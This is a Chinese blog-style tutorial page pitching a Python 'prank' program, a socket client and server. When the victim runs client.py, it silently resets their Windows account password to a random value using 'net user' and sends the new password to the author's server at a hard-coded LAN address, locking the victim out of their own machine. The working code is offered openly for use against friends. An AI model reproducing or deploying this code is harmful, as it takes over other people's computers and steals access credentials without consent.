用python制作一个简单的小程序(一个可以套路别人的python小程序实例代码)
类别:脚本大全 浏览量:525
时间:2021-10-19 06:43:07 用python制作一个简单的小程序
一个可以套路别人的python小程序实例代码先简要介绍一下程序。
程序是使用pycharm工具,python语言所写。程序包括客户端 client.py 和服务器端 server.py 两部分,利用了python中的socket包。
咳咳,使用方法来了!
首先,你需要你和你的朋友在同一个局域网内,然后在你的主机上,运行服务器端 server.py。
然后,让你的朋友在他的电脑上运行客户端 client.py。
此时你朋友电脑的windows用户密码,就会变成一个随机密码,且这个生成的随机密码他本人无法得知,而是把这个密码通过socket传给了服务器端的你。
嗯,然后你朋友的电脑密码就只有你自己知道了~
上代码:
|
# client.py: import socket import getpass import subprocess import random phone = socket.socket(socket.af_inet, socket.sock_stream) phone.connect(( '172.17.21.56' , 8080 )) user = getpass.getuser() psd = '' for j in range ( 1 , 9 ): m = str (random.randrange( 0 , 10 )) psd = psd + m subprocess.popen([ 'net' , 'user' , user, psd]) phone.send(psd.encode( 'utf-8' )) back_msg = phone.recv( 1024 ) phone.close() # server.py import socket phone = socket.socket(socket.af_inet, socket.sock_stream) phone.bind(( '172.17.21.56' , 8080 )) phone.listen( 5 ) print ( 'starting....' ) conn, addr = phone.accept() print (conn) print ( 'client addr' , addr) print ( 'ready to read msg' ) client_msg = conn.recv( 1024 ) print ( 'client msg: %s' % client_msg) conn.send(client_msg.upper()) conn.close() phone.close() |
总结
以上所述是小编给大家介绍的个可以套路别人的python小程序,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!
原文链接:https://www.jianshu.com/p/d4bd251aa7f0
您可能感兴趣
- python抓取天气数据(Python实战之制作天气查询软件)
- python切片的用法(Python进阶之全面解读高级特性之切片)
- python ssh登录服务器(python利用跳板机ssh远程连接redis的方法)
- python 装饰器模式(python重试装饰器的简单实现方法)
- python json转换字符串(python3 json数据格式的转换dumps/loads的使用、dict to str/str to dict、json字符串/字典)
- 怎么用python做随机矩阵(python实现杨氏矩阵查找)
- python的三维画图(python处理DICOM并计算三维模型体积)
- python中怎么查看函数的用法(Python中函数的基本定义与调用及内置函数详解)
- python3语法规则(Python3解释器知识点总结)
- python线程池有几种(对python 多线程中的守护线程与join的用法详解)
- python最基本的编程工具(5款Python程序员高频使用开发工具推荐)
- python 并发传输文件(python单线程文件传输的实例C/S)
- python在dataframe添加数据(使用Python向DataFrame中指定位置添加一列或多列的方法)
- python接口管理系统(基于Python实现用户管理系统)
- python将网站图片本地存储(详解Python下载图片并保存本地的两种方式)
- python计算csv的行数(对Python 多线程统计所有csv文件的行数方法详解)
- 休闲VS新古典 办公家居简约设计(办公家居简约设计)
- 15个新成 园 位置公布 深圳龙岗2022年共建花园建设又有大动作(15个新成园位置公布)
- 记者手记 书记带我去 巡街(记者手记书记带我去)
- 富士胶片集团将向土耳其东南部地震灾民捐赠5000万日元 | 美通社(富士胶片集团将向土耳其东南部地震灾民捐赠5000万日元)
- 二次创业 的富士胶片,在进博会上首次展示完成转型后的全线医疗产品(二次创业的富士胶片)
- 富士胶片 中国 我们对上海的信心没有任何改变(富士胶片中国)
热门推荐
- css中width:auto和width:100%的区别
- css中设置flex布局浮动是否会生效(深入理解CSS系列之flex兼容)
- mysql插入数据错误代码(教你解决往mysql数据库中存入汉字报错的方法)
- 微信html隐藏功能(使用Html5多媒体实现微信语音功能)
- laravel自动分解大任务(Laravel如何实现自动加载类)
- sqlserverdate格式比较(sqlserver之datepart和datediff应用查找当天上午和下午的数据)
- 怎么搭建个人云服务器(怎么使用云服务器搭建个人网站?)
- 判断手机浏览器是否支持position:fixed
- html5入门布局(吃透移动端 Html5 响应式布局)
- python中for循环计算1-100(python 用for循环实现1~n求和的实例)
排行榜
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9